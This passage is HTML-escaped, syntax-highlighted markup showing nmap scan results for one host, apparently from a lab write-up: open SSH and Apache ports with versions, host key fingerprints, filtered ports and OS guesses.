class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e34\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elatency\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eNot\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshown\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e993\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eclosed\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eports\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePORT\u003c/span\u003e\u003cspan class=\"w\"\u003e      \u003c/span\u003e\u003cspan class=\"k\"\u003eSTATE\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eSERVICE\u003c/span\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eVERSION\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e22\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e     \u003c/span\u003e\u003cspan class=\"n\"\u003essh\u003c/span\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003eOpenSSH\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003ep1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003eubuntu0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprotocol\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003essh\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ehostkey\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e2048\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e98\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003edf\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e85\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ed1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ef0\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eda\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ecd\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ebc\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e92\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e00\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb7\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e54\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"mi\"\u003e256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edc\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eeb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ec9\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e44\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ed1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e18\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e22\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb4\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ecf\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ede\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ebd\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e54\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eECDSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"mi\"\u003e256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edc\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ead\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eca\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e11\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e31\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ee6\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ea4\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e89\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e34\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e\u003cspan class=\"k\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ee5\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e50\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eED25519\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e     \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"w\"\u003e           \u003c/span\u003e\u003cspan class=\"n\"\u003eApache\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttpd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e29\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eserver\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eApache\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e29\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eApache2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eDefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIt\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eworks\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e1185\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003efiltered\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecatchpole\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e2046\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003efiltered\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esdfunc\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e2701\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003efiltered\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esms\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ercinfo\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e2875\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003efiltered\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edxmessagebase2\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e24444\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efiltered\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunknown\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eAggressive\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eguesses\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e95\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e95\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAXIS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e210\u003c/span\u003e\u003cspan class=\"n\"\u003eA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e211\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNetwork\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCamera\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e17\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e94\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e93\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eASUS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRT\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eN56U\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWAP\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e93\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAndroid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e93\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e93\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAndroid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e93\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e92\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAndroid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e92\u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eNo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexact\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ematches\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ehost\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econditions\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enon\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eideal\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 